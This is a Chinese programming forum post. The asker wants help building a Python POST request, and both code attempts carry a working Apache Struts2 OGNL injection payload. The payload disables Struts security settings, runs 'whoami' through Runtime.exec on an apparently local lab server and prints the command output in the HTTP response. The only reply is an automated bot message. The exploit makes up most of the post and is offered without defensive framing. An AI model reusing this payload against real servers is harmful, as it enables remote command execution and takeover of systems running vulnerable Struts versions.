红酒味蛋糕_ 2018-12-18 15:25 采纳率: 0%
浏览 6151

python构造post请求,并获取响应内容。

使用python脚本自定义一个post请求然后发送,并得到响应内容。
POST请求如下图,响应内容为右侧内容。
图片说明

Content-Type: application/x-www-form-urlencoded 是必须存在的.

测试过两种方法,一种是

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
r = requests.post(url,d,headerss)
print r.text
print r.headers

图片说明

第二种是将POST的数据放到report.txt文件中,尝试过把图1整个POST内容放入,失败,尝试如下代码只放定义的主体内容,失败。

#coding:utf-8
import requests 
import urllib  
import urllib2
import os

# url = 'http://192.168.1.22:8080/example/HelloWorld.action'
# d = "('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))"
# headerss = { 'Content-Type' : 'application/x-www-form-urlencoded'}
# r = requests.post(url,d,headerss)
# print r.text
# print r.headers

url = 'http://192.168.1.22:8080/example/HelloWorld.action'
jy = open('report.txt')
a = jy.read()
files = {'file': a}
print files['file']
r = requests.post(url, a)
print r.text
head = r.headers
print head

图片说明

  • 写回答

1条回答 默认 最新

  • CSDN-Ada助手 CSDN-AI 官方账号 2022-09-09 19:41
    关注
    不知道你这个问题是否已经解决, 如果还没有解决的话:

    如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 以帮助更多的人 ^-^
    评论

报告相同问题?

悬赏问题

  • ¥15 如何用stata画出文献中常见的安慰剂检验图
  • ¥15 c语言链表结构体数据插入
  • ¥40 使用MATLAB解答线性代数问题
  • ¥15 COCOS的问题COCOS的问题
  • ¥15 FPGA-SRIO初始化失败
  • ¥15 MapReduce实现倒排索引失败
  • ¥15 ZABBIX6.0L连接数据库报错,如何解决?(操作系统-centos)
  • ¥15 找一位技术过硬的游戏pj程序员
  • ¥15 matlab生成电测深三层曲线模型代码
  • ¥50 随机森林与房贷信用风险模型